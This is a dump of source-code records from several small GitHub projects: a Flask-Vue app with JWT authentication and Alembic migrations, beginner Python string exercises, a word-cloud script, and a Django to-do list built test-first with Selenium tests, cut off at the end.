"path": "/wsgi.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "# backend/wsgi.py\n\nfrom app import create_app\napplication = create_app()\n\n" }, { "alpha_fraction": 0.6148914098739624, "alphanum_fraction": 0.6235780715942383, "avg_line_length": 32.344825744628906, "blob_id": "1f75f90cea9160c8298b5aec6c7e458d37d2c56d", "content_id": "72910603c3f60126f9d4f385f4f628adc13883e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4835, "license_type": "no_license", "max_line_length": 84, "num_lines": 145, "path": "/app/models.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "from app import db, bcrypt\nfrom flask import current_app\nimport datetime\nimport jwt\n\n\nclass AddressMixin:\n email = db.Column(db.String(120), nullable=True)\n phone = db.Column(db.String(120), nullable=True)\n address = db.Column(db.String(120), nullable=True)\n\n\nclass UpdateModelMixin:\n def update(self, **kwargs):\n for key, value in kwargs.items():\n setattr(self, key, value)\n\n\nclass Employee(AddressMixin, db.Model):\n id = db.Column(db.Integer, primary_key=True)\n first_name = db.Column(db.String(50), nullable=False)\n last_name = db.Column(db.String(50), nullable=False)\n patronymic = db.Column(db.String(50), nullable=True)\n profession = db.Column(db.String(50), nullable=False)\n is_manager = db.Column(db.Boolean, default=False)\n\n def __repr__(self):\n return f\"<Employee - {repr(self.person)}>\"\n\n\nclass Customer(AddressMixin, UpdateModelMixin, db.Model):\n id = db.Column(db.Integer, primary_key=True)\n customer_name = db.Column(db.String(50), unique=True, nullable=False)\n payment_account = db.Column(db.String(20), unique=True, nullable=False)\n\n projects = db.relationship(\"Project\", backref=\"customer\", passive_deletes=True)\n\n def __repr__(self):\n return f\"<Customer - {repr(self.customer_name)}>\"\n\n\nclass Project(UpdateModelMixin, db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(50), unique=True, nullable=False)\n customer_id = db.Column(\n db.Integer, db.ForeignKey(\"customer.id\", ondelete=\"CASCADE\"), nullable=False\n )\n has_contract = db.Column(db.Boolean, default=False, nullable=True)\n has_plan = db.Column(db.Boolean, default=False, nullable=True)\n price = db.Column(db.Integer, nullable=True)\n\n contract = db.Column(db.String(200), nullable=True)\n\n work_started = db.Column(db.Boolean, default=False, nullable=True)\n expiration_date = db.Column(db.Date, nullable=True)\n\n def __repr__(self):\n return f\"<Project - {self.name}>\"\n\n\nclass User(db.Model):\n \"\"\" User Model for storing user related details \"\"\"\n\n __tablename__ = \"users\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n email = db.Column(db.String(255), unique=True, nullable=False)\n password = db.Column(db.String(255), nullable=False)\n registered_on = db.Column(db.DateTime, nullable=False)\n admin = db.Column(db.Boolean, nullable=False, default=False)\n\n def __init__(self, email, password, admin=False):\n self.email = email\n self.password = bcrypt.generate_password_hash(\n password, current_app.config.get(\"BCRYPT_LOG_ROUNDS\")\n ).decode()\n self.registered_on = datetime.datetime.now()\n self.admin = admin\n\n def encode_auth_token(self, user_id):\n \"\"\"\n Generates the Auth Token\n :return: string\n \"\"\"\n try:\n payload = {\n \"exp\": datetime.datetime.utcnow()\n + datetime.timedelta(\n days=0, seconds=current_app.config.get(\"JWT_LIFE\", 600)\n ),\n \"iat\": datetime.datetime.utcnow(),\n \"sub\": user_id,\n }\n return jwt.encode(\n payload, current_app.config.get(\"SECRET_KEY\"), algorithm=\"HS256\"\n )\n except Exception as e:\n return e\n\n @staticmethod\n def decode_auth_token(auth_token):\n \"\"\"\n Validates the auth token\n :param auth_token:\n :return: integer|string\n \"\"\"\n try:\n payload = jwt.decode(auth_token, current_app.config.get(\"SECRET_KEY\"))\n is_blacklisted_token = BlacklistToken.check_blacklist(auth_token)\n if is_blacklisted_token:\n return \"Token blacklisted. Please log in again.\"\n else:\n return payload[\"sub\"]\n except jwt.ExpiredSignatureError:\n return \"Signature expired. Please log in again.\"\n except jwt.InvalidTokenError:\n return \"Invalid token. Please log in again.\"\n\n\nclass BlacklistToken(db.Model):\n \"\"\"\n Token Model for storing JWT tokens\n \"\"\"\n\n __tablename__ = \"blacklist_tokens\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n token = db.Column(db.String(500), unique=True, nullable=False)\n blacklisted_on = db.Column(db.DateTime, nullable=False)\n\n def __init__(self, token):\n self.token = token\n self.blacklisted_on = datetime.datetime.now()\n\n def __repr__(self):\n return \"<id: token: {}\".format(self.token)\n\n @staticmethod\n def check_blacklist(auth_token):\n # check whether auth token has been blacklisted\n res = BlacklistToken.query.filter_by(token=str(auth_token)).first()\n if res:\n return True\n else:\n return False\n" }, { "alpha_fraction": 0.6147651076316833, "alphanum_fraction": 0.6590604186058044, "avg_line_length": 22.28125, "blob_id": "744f41e9f325795a137d3d09ca29c011e0be2d19", "content_id": "5b597ffde64e588a7c9739deb0403a3209430726", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 745, "license_type": "no_license", "max_line_length": 88, "num_lines": 32, "path": "/migrations/versions/7fb9174b3115_.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: 7fb9174b3115\nRevises: cf005b24701d\nCreate Date: 2020-02-12 09:56:22.350170\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"7fb9174b3115\"\ndown_revision = \"cf005b24701d\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column(\n \"customer\", \"customer_name\", existing_type=sa.VARCHAR(length=50), nullable=False\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column(\n \"customer\", \"customer_name\", existing_type=sa.VARCHAR(length=50), nullable=True\n )\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6535125970840454, "alphanum_fraction": 0.655247151851654, "avg_line_length": 28.94805145263672, "blob_id": "7d06fe042f0c7694a6ca815f46f07b8b192566f5", "content_id": "b494676613c76d2fb1fcfd84e2a7d0106fdc4d69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2306, "license_type": "no_license", "max_line_length": 88, "num_lines": 77, "path": "/app/api/serializers.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "from marshmallow import (\n Schema,\n ValidationError,\n fields,\n post_load,\n validate,\n validates,\n validates_schema,\n)\nfrom app.models import Customer, Project\nfrom app import ma\nfrom marshmallow_sqlalchemy import SQLAlchemyAutoSchema\n\n\nclass ProjectSchema(SQLAlchemyAutoSchema):\n customer_id = fields.Int(required=True, load_only=True)\n customer = fields.Function(lambda obj: obj.customer.customer_name, dump_only=True)\n\n class Meta:\n model = Project\n include_fk = True\n\n @validates(\"customer_id\")\n def validate_customer_id(self, value):\n customer = Customer.query.get(value)\n if not customer:\n raise ValidationError(\"Such customer doesn't exist\")\n\n @post_load\n def make_project(self, data, **kwargs):\n return Project(**data)\n\n\nproject_schema = ProjectSchema()\nprojects_schema = ProjectSchema(many=True)\n\n\nclass CustomerSchema(Schema):\n id = fields.Int(dump_only=True)\n customer_name = fields.Str(validate=validate.Length(min=1))\n payment_account = fields.Str(required=True, validate=validate.Length(min=5, max=20))\n\n email = fields.Str(\n required=False, validate=validate.Email(error=\"Not a valid email address\")\n )\n phone = fields.Str(required=False)\n address = fields.Str(required=False)\n projects = fields.List(fields.Nested(ProjectSchema(only=(\"name\",))))\n\n @validates_schema\n def validate_unique(self, data, **kwargs):\n customer_name = data.get(\"customer_name\")\n payment_account = data.get(\"payment_account\")\n customer_exist = Customer.query.filter(\n Customer.customer_name == customer_name\n ).first()\n payment_exist = Customer.query.filter(\n Customer.payment_account == payment_account\n ).first()\n\n errors = {}\n if customer_exist:\n errors[\"customer_name\"] = [\"Customer with such a name already exists\"]\n if payment_exist:\n errors[\"payment_exist\"] = [\n \"Customer with such a payment account already exists\"\n ]\n if errors:\n raise ValidationError(errors)\n\n @post_load\n def make_user(self, data, **kwargs):\n return Customer(**data)\n\n\ncustomer_schema = CustomerSchema()\ncustomers_schema = CustomerSchema(many=True)\n" }, { "alpha_fraction": 0.5985748171806335, "alphanum_fraction": 0.6215360164642334, "avg_line_length": 35.08571243286133, "blob_id": "88feb99a1a7e0f43a846cd65fc9fdbc97bfa872f", "content_id": "c29d607530260f3fa2e4d5d9904392877b80c2e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2526, "license_type": "no_license", "max_line_length": 75, "num_lines": 70, "path": "/migrations/versions/cf005b24701d_customer_table.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "\"\"\"customer table\n\nRevision ID: cf005b24701d\nRevises: \nCreate Date: 2020-02-12 09:54:54.175590\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"cf005b24701d\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"customer\",\n sa.Column(\"email\", sa.String(length=120), nullable=True),\n sa.Column(\"phone\", sa.String(length=120), nullable=True),\n sa.Column(\"address\", sa.String(length=120), nullable=True),\n sa.Column(\"id\", sa.Integer(), nullable=False),\n sa.Column(\n \"customer_type\",\n sa.Enum(\"organization\", \"individual\", name=\"customertypeenum\"),\n nullable=False,\n ),\n sa.Column(\"customer_name\", sa.String(length=50), nullable=True),\n sa.Column(\"payment_account\", sa.Integer(), nullable=False),\n sa.PrimaryKeyConstraint(\"id\"),\n sa.UniqueConstraint(\"customer_name\"),\n sa.UniqueConstraint(\"payment_account\"),\n )\n op.create_table(\n \"employee\",\n sa.Column(\"email\", sa.String(length=120), nullable=True),\n sa.Column(\"phone\", sa.String(length=120), nullable=True),\n sa.Column(\"address\", sa.String(length=120), nullable=True),\n sa.Column(\"id\", sa.Integer(), nullable=False),\n sa.Column(\"first_name\", sa.String(length=50), nullable=False),\n sa.Column(\"last_name\", sa.String(length=50), nullable=False),\n sa.Column(\"patronymic\", sa.String(length=50), nullable=True),\n sa.Column(\"profession\", sa.String(length=50), nullable=False),\n sa.Column(\"is_manager\", sa.Boolean(), nullable=True),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n op.create_table(\n \"project\",\n sa.Column(\"id\", sa.Integer(), nullable=False),\n sa.Column(\"name\", sa.String(length=50), nullable=False),\n sa.Column(\"customer_id\", sa.Integer(), nullable=False),\n sa.Column(\"start_date\", sa.DateTime(), nullable=False),\n sa.Column(\"expiration_date\", sa.DateTime(), nullable=False),\n sa.ForeignKeyConstraint([\"customer_id\"], [\"customer.id\"]),\n sa.PrimaryKeyConstraint(\"id\"),\n sa.UniqueConstraint(\"name\"),\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table(\"project\")\n op.drop_table(\"employee\")\n op.drop_table(\"customer\")\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6166098117828369, "alphanum_fraction": 0.6393629312515259, "avg_line_length": 24.852941513061523, "blob_id": "86bee1d278ecfffbca6165441b77c52f8d27b736", "content_id": "ba61a7c90209fab75c6fc4cb63f6e08f8fc4b740", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 879, "license_type": "no_license", "max_line_length": 82, "num_lines": 34, "path": "/migrations/versions/3ee8160ec62f_.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: 3ee8160ec62f\nRevises: b0c1692627cf\nCreate Date: 2020-02-14 10:16:05.471740\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"3ee8160ec62f\"\ndown_revision = \"b0c1692627cf\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(\"project_customer_id_fkey\", \"project\", type_=\"foreignkey\")\n op.create_foreign_key(\n None, \"project\", \"customer\", [\"customer_id\"], [\"id\"], ondelete=\"CASCADE\"\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, \"project\", type_=\"foreignkey\")\n op.create_foreign_key(\n \"project_customer_id_fkey\", \"project\", \"customer\", [\"customer_id\"], [\"id\"]\n )\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6088825464248657, "alphanum_fraction": 0.6411174535751343, "avg_line_length": 29.34782600402832, "blob_id": "767b646f59b8a1c1ac4384478a7fecc381e2864b", "content_id": "f7ddff3205b60aa93f4632f272fa990a9cc863c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1396, "license_type": "no_license", "max_line_length": 74, "num_lines": 46, "path": "/migrations/versions/564e660e81ad_.py", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: 564e660e81ad\nRevises: 84d50795f993\nCreate Date: 2020-02-28 16:36:11.588416\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"564e660e81ad\"\ndown_revision = \"84d50795f993\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"blacklist_tokens\",\n sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n sa.Column(\"token\", sa.String(length=500), nullable=False),\n sa.Column(\"blacklisted_on\", sa.DateTime(), nullable=False),\n sa.PrimaryKeyConstraint(\"id\"),\n sa.UniqueConstraint(\"token\"),\n )\n op.create_table(\n \"users\",\n sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n sa.Column(\"email\", sa.String(length=255), nullable=False),\n sa.Column(\"password\", sa.String(length=255), nullable=False),\n sa.Column(\"registered_on\", sa.DateTime(), nullable=False),\n sa.Column(\"admin\", sa.Boolean(), nullable=False),\n sa.PrimaryKeyConstraint(\"id\"),\n sa.UniqueConstraint(\"email\"),\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table(\"users\")\n op.drop_table(\"blacklist_tokens\")\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.7250229120254517, "alphanum_fraction": 0.7250229120254517, "avg_line_length": 28.486486434936523, "blob_id": "48926d878ba46e283e3b9ac5dc3339841d74f516", "content_id": "c1cb54fc585272cfd72ceb2009dd12599e377e30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1091, "license_type": "no_license", "max_line_length": 83, "num_lines": 37, "path": "/frontend/src/main.js", "repo_name": "aleksandr-hilko/flask-vue-application-", "src_encoding": "UTF-8", "text": "// The Vue build version to load with the `import` command\n// (runtime-only or standalone) has been set in webpack.base.conf with an alias.\nimport 'bootstrap/dist/css/bootstrap.css';\nimport '@fortawesome/fontawesome-free/css/all.css';\nimport '@fortawesome/fontawesome-free/js/all';\nimport { library } from '@fortawesome/fontawesome-svg-core';\nimport { faUserSecret } from '@fortawesome/free-solid-svg-icons';\nimport { FontAwesomeIcon } from '@fortawesome/vue-fontawesome';\n\nimport BootstrapVue from 'bootstrap-vue';\nimport axios from 'axios';\nimport Vue from 'vue';\nimport App from './App';\nimport router from './router';\nimport store from './store';\n\nVue.prototype.$http = axios;\n\nconst token = localStorage.getItem('user-token');\nif (token) {\n Vue.prototype.$http.defaults.headers.common['Authorization'] = `Bearer ${token}`;\n}\n\nlibrary.add(faUserSecret);\nVue.component('font-awesome-icon', FontAwesomeIcon);\n\nVue.config.productionTip = false;\nVue.use(BootstrapVue);\n\n/* eslint-disable no-new */\nnew Vue({\n el: '#app',\n router,\n store,\n components: { App },\n template: '<App/>',\n});\n" } ]
20
deepak3698/My_problem_statement
https://github.com/deepak3698/My_problem_statement
0feb6ffd0f0f0d686a0f4c467cee604f1d0d063a
7ca1ba9e3f402b31485705d1fd691dcdc382c158
41fcfbc06005bd51a62ad8ba3d52298401567d67
refs/heads/master
2020-09-05T08:32:35.547950
2019-12-03T18:48:24
2019-12-03T18:48:24
220,042,883
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6150234937667847, "alphanum_fraction": 0.6244131326675415, "avg_line_length": 26.65217399597168, "blob_id": "7196c4a05beaa5d7db80abbdf7ed91f43c53ab50", "content_id": "e16b53a55284f67fbcda11e1a33d72b7d9697510", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 639, "license_type": "no_license", "max_line_length": 94, "num_lines": 23, "path": "/vowels-consonant.py", "repo_name": "deepak3698/My_problem_statement", "src_encoding": "UTF-8", "text": "# find how many vowels & consonant in a sring with their char value and number of char value\n\nvowels=['a','e','i','o','u']\nvar1=input(\"Enter your String or character !\")\n\nno_of_vowels=0\nno_of_cons=0\n\nchar_of_vowels=\"\"\nchar_of_cons=\"\"\n\nfor i in var1:\n if i.lower() in vowels:\n char_of_vowels=char_of_vowels+i\n no_of_vowels=no_of_vowels+1\n else:\n if(i==\" \"):\n continue\n char_of_cons=char_of_cons+i\n no_of_cons=no_of_cons+1\n\nprint(f\"You have {no_of_vowels} vowels in your string that is {char_of_vowels} \")\nprint(f\"You have {no_of_cons} vowels in your string that is {char_of_cons} \")\n\n\n\n" }, { "alpha_fraction": 0.5304991006851196, "alphanum_fraction": 0.5674676299095154, "avg_line_length": 18.178571701049805, "blob_id": "f0d375ac77c6ef9bb36bfbde4a9690a0a6b15e44", "content_id": "5856338999f1b7c11288d05005f7fcac36d50e01", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 541, "license_type": "no_license", "max_line_length": 107, "num_lines": 28, "path": "/alphanumeric_to_alpha.py", "repo_name": "deepak3698/My_problem_statement", "src_encoding": "UTF-8", "text": "'''\n\nQuestion- you have been given a alphanumeric string , and what you have to do that you have to convert that\n\ninto alpha format.\n\nfor example-\ninput:- 2h3k4p\n\noutput:- HHKKKPPPP\n\n\n'''\nstring1=input(\"Enter Your String :\")\nsum1=\"\"\nsum2=0\nfor i in string1:\n try:\n if(i.isalpha()):\n if(sum2==0):\n sum2=1\n sum1=sum1+(sum2*i.upper())\n sum2=0\n else:\n sum2=int(str(sum2)+str(i))\n except:\n pass\nprint(f\"The Format in which you want to print is : {sum1}\")\n\n\n\n\n" }, { "alpha_fraction": 0.5737410187721252, "alphanum_fraction": 0.5845323801040649, "avg_line_length": 31.58823585510254, "blob_id": "63128ac6ffcf1214e75441f6f35d5e3fd2ad250d", "content_id": "e9d3caf57442f2d691244c8d548ec4373330d8aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 556, "license_type": "no_license", "max_line_length": 87, "num_lines": 17, "path": "/intval-stringval.py", "repo_name": "deepak3698/My_problem_statement", "src_encoding": "UTF-8", "text": "# Problem:- User will take the input in integer format and the output\n# will be in string format\n# for example input:- 1,output:-one . input:-123, output:-onetwothree\n\nlist_of_charnum=['zero','one','two','three','four','five','six','seven','eight','nine']\n\ndef check(n):\n return list_of_charnum[n]\n\ntry:\n a=int(input(\"Enter your number \"))\n list1=list(str(a))\n for i in list1:\n print(check(int(i)),end=\"\")\nexcept:\n print(\"!!!!!!!!!!!!!!!! Something Went Wrong !!!!!!!!!!!!\")\n print(\"------------Type in right format-----------\")\n\n\n" } ]
3
xuqidog/picCloud
https://github.com/xuqidog/picCloud
522b62c6d5c0b82f3016292c361658570802190f
7655e04cca26e5e017542c1277cb8bdae6e796c3
608c80cf598ed7820384885e031c93c826c05e78
refs/heads/master
2021-01-19T22:24:52.629592
2017-04-20T10:28:34
2017-04-20T10:28:34
88,813,479
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7401032447814941, "alphanum_fraction": 0.7487091422080994, "avg_line_length": 37.66666793823242, "blob_id": "04f464e4db4bb6b906348b425f2f67a55abb6b4a", "content_id": "4a13ec2d5a0bd316dfc3ad070e71ba9dfc2c245d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 581, "license_type": "no_license", "max_line_length": 124, "num_lines": 15, "path": "/picCloud.py", "repo_name": "xuqidog/picCloud", "src_encoding": "UTF-8", "text": "#encoding=utf-8\nimport matplotlib.pyplot as plt \nfrom pylab import *\nfrom wordcloud import WordCloud \nimport jieba \n\ntext_from_file_with_apath = open('/Users/xuqidong/picCloud/yhpc.txt').read() \nwordlist_after_jieba = jieba.cut(text_from_file_with_apath, cut_all = True) \nwl_space_split = \" \".join(wordlist_after_jieba) \nbackgroud_Image = plt.imread('1024.jpg')\nmy_wordcloud = WordCloud(font_path='/Users/xuqidong/picCloud/SimHei.ttf',background_color = 'white',mask = backgroud_Image,)\nmy_wordcloud.generate(wl_space_split) \nplt.imshow(my_wordcloud) \nplt.axis(\"off\") \nplt.show()\n\n" } ]
1
ali7line/TDD-django
https://github.com/ali7line/TDD-django
e9cc35af94f828f31ad1d9456899f46e6036a488
733367d039caa2bb19aec7da289e4ebe9360107e
9d5777e8c687a1e87eeb8ff7cbf14a00bcaad950
refs/heads/master
2021-06-19T12:50:43.274998
2017-07-23T06:16:36
2017-07-23T06:16:36
97,208,729
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6699029207229614, "alphanum_fraction": 0.6699029207229614, "avg_line_length": 27.090909957885742, "blob_id": "e2b676dff0331d1fe2cf5a5a8d78e2200353d513", "content_id": "aae59a7f61e4fffe29af13ab7bef902ee78cc490", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 309, "license_type": "no_license", "max_line_length": 63, "num_lines": 11, "path": "/superlists/superlists/urls.py", "repo_name": "ali7line/TDD-django", "src_encoding": "UTF-8", "text": "from django.conf.urls import url, include\nfrom django.contrib import admin\n\nfrom lists.views import homepage\nimport lists.urls as lists_urls\n\nurlpatterns = [\n url(r'^$', homepage, name='root'),\n url('^lists/', include(lists_urls, namespace='lists')),\n url(r'^admin/', admin.site.urls),\n]\n" }, { "alpha_fraction": 0.6488161087036133, "alphanum_fraction": 0.6532418727874756, "avg_line_length": 43.30392074584961, "blob_id": "bb70067162cc9a8ee75241c01d5925800c5c55aa", "content_id": "201329720a06c836f542de3a617d7eff5ac7faea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4519, "license_type": "no_license", "max_line_length": 85, "num_lines": 102, "path": "/superlists/functional_tests/tests.py", "repo_name": "ali7line/TDD-django", "src_encoding": "UTF-8", "text": "from django.contrib.staticfiles.testing import StaticLiveServerTestCase\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.keys import Keys\nimport os\n\n\nclass NewVisitorTest(StaticLiveServerTestCase):\n\n def createBrowser(self):\n chrome_options = Options()\n chrome_options.add_argument('headless')\n # chrome_options.binary_location = '/usr/bin/google-chrome-stable'\n chrome_options.add_argument('window-size=1024x768')\n browser = webdriver.Chrome(chrome_options=chrome_options)\n browser.implicitly_wait(10)\n return browser\n\n def setUp(self):\n self.browser = self.createBrowser()\n staging_server = os.environ.get('STAGING_SERVER')\n if staging_server:\n print('Found ENV variable: ' + staging_server + '\\n')\n self.live_server_url = 'http://' + staging_server\n\n def tearDown(self):\n self.browser.quit()\n\n def check_for_row_in_list_table(self, raw_text):\n table = self.browser.find_element_by_id('id_list_table')\n rows = table.find_elements_by_class_name('item_row')\n self.assertIn(raw_text, [row.text for row in rows])\n\n def enter_text_into_list(self, raw_text):\n inputbox = self.browser.find_element_by_id('id_new_item')\n inputbox.send_keys(raw_text)\n inputbox.send_keys(Keys.ENTER)\n\n def test_visitor_cresates_list_and_retrieves_it_later(self):\n # Edith has heard about a cool new online to-do app. She goes\n # to check out its homepage\n self.browser.get(self.live_server_url)\n # She notices the page title and header mention to-do lists\n self.assertEqual('To-Do List', self.browser.title)\n header_text = self.browser.find_element_by_tag_name('h1').text\n self.assertIn('To-Do List', header_text)\n # She is invited to enter a to-do item straight away\n inputbox = self.browser.find_element_by_id('id_new_item')\n self.assertEqual('Enter a to-do item', inputbox.get_attribute('placeholder'))\n\n # She types \"Buy peacock feathers\" into a text box (Edith's hobby\n # is tying fly-fishing lures)\n # When she hits enter, the page updates, and now the page lists\n # \"1: Buy peacock feathers\" as an item in a to-do list\n self.enter_text_into_list('Buy peacock feathers')\n\n edith_list_url = self.browser.current_url\n self.assertRegex(edith_list_url, '/lists/.+')\n\n self.check_for_row_in_list_table('1: Buy peacock feathers')\n\n # There is still a text box inviting her to add another item. She\n # enters \"Use peacock feathers to make a fly\" (Edith is very methodical)\n # The page updates again, and now shows both items on her list\n # Edith wonders whether the site will remember her list. Then she sees\n # that the site has generated a unique URL for her -- there is some\n # explanatory text to that effect.\n # She visits that URL - her to-do list is still there.\n # Satisfied, she goes back to sleep\n self.enter_text_into_list('Use peacock feather to make a fly')\n self.check_for_row_in_list_table('2: Use peacock feather to make a fly')\n self.check_for_row_in_list_table('1: Buy peacock feathers')\n self.browser.quit()\n\n # A new user , Francis, comes along to the site\n # and sees a blank page asking him to enter new item\n self.browser = self.createBrowser()\n self.browser.get(self.live_server_url)\n page_text = self.browser.find_element_by_tag_name('body').text\n\n self.assertNotIn('Buy peacock feathers', page_text)\n self.assertNotIn('make a fly', page_text)\n # He adds an item and will be redirected to a new url (different from edith)\n self.enter_text_into_list('Buy milk')\n\n francis_list_url = self.browser.current_url\n self.assertNotEqual(edith_list_url, francis_list_url)\n\n page_text = self.browser.find_element_by_tag_name('body').text\n self.assertNotIn('Buy peacock feathers', page_text)\n self.check_for_row_in_list_table('1: Buy milk')\n\n def test_layout_styling(self):\n self.browser = self.createBrowser()\n self.browser.get(self.live_server_url)\n\n inputbox = self.browser.find_element_by_id('id_new_item')\n self.assertAlmostEqual(\n inputbox.location['x'] + inputbox.size['width']/2,\n 512,\n delta=5\n )\n" }, { "alpha_fraction": 0.7586206793785095, "alphanum_fraction": 0.7586206793785095, "avg_line_length": 27, "blob_id": "99e79e6f2a29de9196da4ef36b6dc464a123c8cd", "content_id": "144ffb571ac003f97ce89b6f8bad5914e13eb015", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 29, "license_type": "no_license", "max_line_length": 27, "num_lines": 1, "path": "/README.md", "repo_name": "ali7line/TDD-django", "src_encoding": "UTF-8", "text": "Going through the TDD book. \n" }, { "alpha_fraction": 0.6370580196380615, "alphanum_fraction": 0.6390382051467896, "avg_line_length": 34.349998474121094, "blob_id": "243dd47cfa60ea0df55933a447b3101437c495ca", "content_id": "12bd257c5f8afe3867b5854949a4afe0cedb1938", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3535, "license_type": "no_license", "max_line_length": 103, "num_lines": 100, "path": "/superlists/lists/tests.py", "repo_name": "ali7line/TDD-django", "src_encoding": "UTF-8", "text": "from django.core.urlresolvers import resolve\nfrom django.test import TestCase\n\nfrom .views import homepage\nfrom .models import Item, List\n\n\nclass HomepageTest(TestCase):\n def test_root_url_resolves_to_homepage(self):\n found = resolve('/')\n self.assertEqual(found.func, homepage)\n\n def test_returns_correct_HTML(self):\n response = self.client.get('/')\n self.assertTemplateUsed(response, 'home.html')\n\n\nclass ListViewTest(TestCase):\n def test_uses_list_template(self):\n list_ = List.objects.create()\n response = self.client.get('/lists/%d/' % (list_.id,))\n self.assertTemplateUsed(response, 'lists/list.html')\n\n def test_display_only_items_for_that_list(self):\n correct_list = List.objects.create()\n Item.objects.create(text='first item in list', list=correct_list)\n Item.objects.create(text='second item in list', list=correct_list)\n\n other_list = List.objects.create()\n Item.objects.create(text='first item in other list', list=other_list)\n Item.objects.create(text='second item in other list', list=other_list)\n\n response = self.client.get('/lists/%d/' % (correct_list.id,))\n\n self.assertContains(response, 'first item in list')\n self.assertContains(response, 'second item in list')\n self.assertNotContains(response, 'other')\n\n\nclass NewItemTest(TestCase):\n def test_saving_POST_request(self):\n list_ = List.objects.create()\n self.client.post('/lists/%d/add_item' % (list_.id,), {'item_text': 'new item list'})\n\n self.assertEqual(Item.objects.count(), 1)\n self.assertEqual(List.objects.count(), 1)\n new_item = Item.objects.first()\n self.assertEqual(new_item.text, 'new item list')\n\n def test_redirects_after_POST_request(self):\n list_ = List.objects.create()\n response = self.client.post('/lists/%d/add_item' % (list_.id,), {'item_text': 'new item list'})\n\n self.assertRedirects(response, '/lists/%d/' % (list_.id,))\n\n\nclass NewListTest(TestCase):\n def test_saving_POST_request(self):\n self.client.post('/lists/new', {'item_text': 'new item list'})\n\n self.assertEqual(Item.objects.count(), 1)\n self.assertEqual(List.objects.count(), 1)\n new_item = Item.objects.first()\n self.assertEqual(new_item.text, 'new item list')\n\n def test_redirects_after_POST_request(self):\n response = self.client.post('/lists/new', {'item_text': 'new item list'})\n\n list_ = List.objects.first()\n self.assertRedirects(response, '/lists/%d/' % (list_.id,))\n\n\nclass ListAndItemModelTest(TestCase):\n def test_saving_and_retrieving_items(self):\n list_ = List()\n list_.save()\n\n first_item = Item()\n first_item.text = 'the first item in list'\n first_item.list = list_\n first_item.save()\n\n second_item = Item()\n second_item.text = 'the second item in list'\n second_item.list = list_\n second_item.save()\n\n saved_list = List.objects.first()\n self.assertEqual(saved_list, list_)\n\n saved_items = Item.objects.all()\n self.assertEqual(Item.objects.count(), 2)\n\n first_saved_item = saved_items[0]\n second_saved_item = saved_items[1]\n\n self.assertEqual(first_saved_item.text, 